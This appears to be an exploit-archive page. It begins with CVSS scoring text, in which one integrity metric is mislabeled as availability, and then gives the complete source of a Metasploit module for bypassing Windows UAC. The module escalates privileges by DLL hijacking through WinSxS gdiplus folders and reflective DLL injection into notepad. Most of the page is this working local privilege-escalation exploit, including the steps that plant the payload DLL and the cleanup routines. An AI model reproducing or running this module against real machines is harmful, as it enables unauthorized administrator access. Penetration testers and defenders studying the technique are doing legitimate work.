The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: Windows Escalate UAC Protection Bypass (In Memory Injection) Abusing WinSXS
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Exploit::FileDropper
include Post::File
include Post::Windows::Priv
include Post::Windows::ReflectiveDLLInjection
include Post::Windows::Runas
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',
'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the UAC flag turned off by abusing the way "WinSxS" works in Windows
systems. This module uses the Reflective DLL Injection technique to drop
only the DLL payload binary instead of three seperate binaries in the
standard technique. However, it requires the correct architecture to be
selected, (use x64 for SYSWOW64 systems also).
},
'License' => MSF_LICENSE,
'Author' => [
'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'https://github.com/L3cr0f/DccwBypassUAC'
]
],
'DisclosureDate'=> 'Apr 06 2017'
))
end
def exploit
# Validate that we can actually do things before we bother
# doing any more work
validate_environment!
check_permissions!
# Get all required environment variables in one shot instead. This
# is a better approach because we don't constantly make calls through
# the session to get the variables.
env_vars = get_envs('TEMP', 'WINDIR')
# Get UAC level so as to verify if the module will be successful
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
dll_path = bypass_dll_path
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
# Establish the folder pattern so as to get those folders that match it
sysarch = sysinfo['Architecture']
if sysarch == ARCH_X86
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
else
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
end
directoryNames = get_directories(payload_filepath, targetedDirectories)
create_directories(payload_filepath, directoryNames)
upload_payload_dll(payload_filepath, directoryNames)
pid = spawn_inject_proc(env_vars['WINDIR'])
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
run_injection(pid, dll_path, file_paths)
end
# Path to the bypassuac binary and architecture payload checking
def bypass_dll_path
path = ::File.join(Msf::Config.data_directory, 'post')
sysarch = sysinfo['Architecture']
if sysarch == ARCH_X86
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
else
::File.join(path, "bypassuac-x86.dll")
end
else
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
else
::File.join(path, "bypassuac-x64.dll")
end
end
end
# Check if the compromised user matches some requirements
def check_permissions!
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
def run_injection(pid, dll_path, file_paths)
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin
path_struct = create_struct(file_paths)
vprint_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
vprint_status("Injecting struct into #{pid}")
struct_addr = host_process.memory.allocate(path_struct.length)
host_process.memory.write(struct_addr, path_struct)
vprint_status('Executing payload')
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
print_good("Successfully injected payload in to process: #{pid}")
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
end
end
# Create a process in the native architecture
def spawn_inject_proc(win_dir)
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
cmd = "#{win_dir}\\sysnative\\notepad.exe"
else
cmd = "#{win_dir}\\System32\\notepad.exe"
end
pid = cmd_exec_get_pid(cmd)
unless pid
fail_with(Failure::Unknown, 'Spawning Process failed...')
end
pid
end
# Upload only one DLL, the rest will be copied into the specific folders
def upload_payload_dll(payload_filepath, directoryNames)
dllPath = "#{directoryNames[0]}\\GdiPlus.dll"
payload = generate_payload_dccw_gdiplus_dll({:dll_exitprocess => true})
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
write_file(dllPath, payload)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")
end
if directoryNames.size > 1
copy_payload_dll(directoryNames, dllPath)
end
end
# Copy our DLL to all created folders, the first folder already have a copy of the DLL
def copy_payload_dll(directoryNames, dllPath)
1.step(directoryNames.size - 1, 1) do |i|
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...")
end
end
end
# Check if the environment is vulnerable to the exploit
def validate_environment!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
winver = sysinfo['OS']
case winver
when /Windows (8|10)/
print_good("#{winver} may be vulnerable.")
else
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
if is_uac_enabled?
print_status('UAC is Enabled, checking level...')
else
unless is_in_admin_group?
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
end
# Creating the necessary directories to perform the DLL hijacking
# Since we don't know which path "dccw.exe" will choose, we create
# all the directories that match with the initial pattern
def create_directories(payload_filepath, directoryNames)
env_vars = get_envs('TEMP')
print_status("Creating temporary folders...")
if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
end
directoryNames.each do |dirName|
if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
end
end
end
# Get all the directories that match with the initial pattern
def get_directories(payload_filepath, targetedDirectories)
directoryNames = []
findFileDataSize = 592
maxPath = client.railgun.const("MAX_PATH")
fileNamePadding = 44
hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE")
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
end
findFileData = hFile['lpFindFileData']
moreFiles = true
until moreFiles == false do
fileAttributes = findFileData[0, 4].unpack('V').first
andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY")
if andOperation
#Removes the remainder part composed of 'A' of the path and the last null character
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split('AAA')[0]
path = "#{payload_filepath}\\#{normalizedData[0, normalizedData.length - 1]}"
directoryNames.push(path)
end
findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
moreFiles = findNextFile['return']
findFileData = findNextFile['lpFindFileData']
end
if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
end
directoryNames
end
# Store the necessary paths into a struct
def get_file_paths(win_path, payload_filepath)
paths = {}
paths[:szElevDll] = 'dccw.exe.Local'
paths[:szElevDir] = "#{win_path}\\System32"
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
paths[:szTempDllPath] = payload_filepath
paths
end
# Creates the paths struct which contains all the required paths
# the dll needs to copy/execute etc.
def create_struct(paths)
# Write each path to the structure in the order they
# are defined in the bypass uac binary.
struct = ''
struct << fill_struct_path(paths[:szElevDir])
struct << fill_struct_path(paths[:szElevDirSysWow64])
struct << fill_struct_path(paths[:szElevDll])
struct << fill_struct_path(paths[:szElevDllFull])
struct << fill_struct_path(paths[:szElevExeFull])
struct << fill_struct_path(paths[:szTempDllPath])
struct
end
def fill_struct_path(path)
path = Rex::Text.to_unicode(path)
path + "\x00" * (520 - path.length)
end
# When a new session is obtained, it removes the dropped elements (files and folders)
def on_new_session(session)
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
end
remove_dropped_elements(session)
end
# Remove all the created and dropped files and folders
def remove_dropped_elements(session)
droppedElements = []
env_vars = get_envs('TEMP', 'WINDIR')
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
sysarch = sysinfo['Architecture']
if sysarch == ARCH_X86
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
else
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
end
directoryNames = get_directories(payload_filepath, targetedDirectories)
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
# Remove all dropped elements (files and folders)
remove_dlls(session, directoryNames, file_paths, droppedElements)
remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
remove_dot_local_folders(session, file_paths, droppedElements)
# Check if the removal was successful
removal_checking(droppedElements)
end
# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
def remove_dlls(session, directoryNames, file_paths, droppedElements)
directoryNames.each do |dirName|
directoryName = dirName.split("\\").last
begin
droppedElements.push("#{dirName}\\GdiPlus.dll")
session.fs.file.rm("#{dirName}\\GdiPlus.dll")
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
begin
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
end
end
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
directoryNames.each do |dirName|
directoryName = dirName.split("\\").last
begin
droppedElements.push(dirName)
session.fs.dir.rmdir(dirName)
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
begin
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
end
end
# Remove "C:\Windows\System32\dccw.exe.Local" folder
def remove_dot_local_folders(session, file_paths, droppedElements)
begin
droppedElements.push(file_paths[:szTempDllPath])
session.fs.dir.rmdir(file_paths[:szTempDllPath])
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
begin
droppedElements.push(file_paths[:szElevDllFull])
session.fs.dir.rmdir(file_paths[:szElevDllFull])
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
end
# Check if have been successfully removed
def removal_checking(droppedElements)
successfullyRemoved = true
droppedElements.each do |element|
begin
stat = session.fs.file.stat(element)
if stat
print_error("Unable to delete #{element}!")
successfullyRemoved = false
end
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
end
if successfullyRemoved
print_good("All the dropped elements have been successfully removed")
else
print_warning("Could not delete some dropped elements! They will require manual cleanup on the target")
end
end
end
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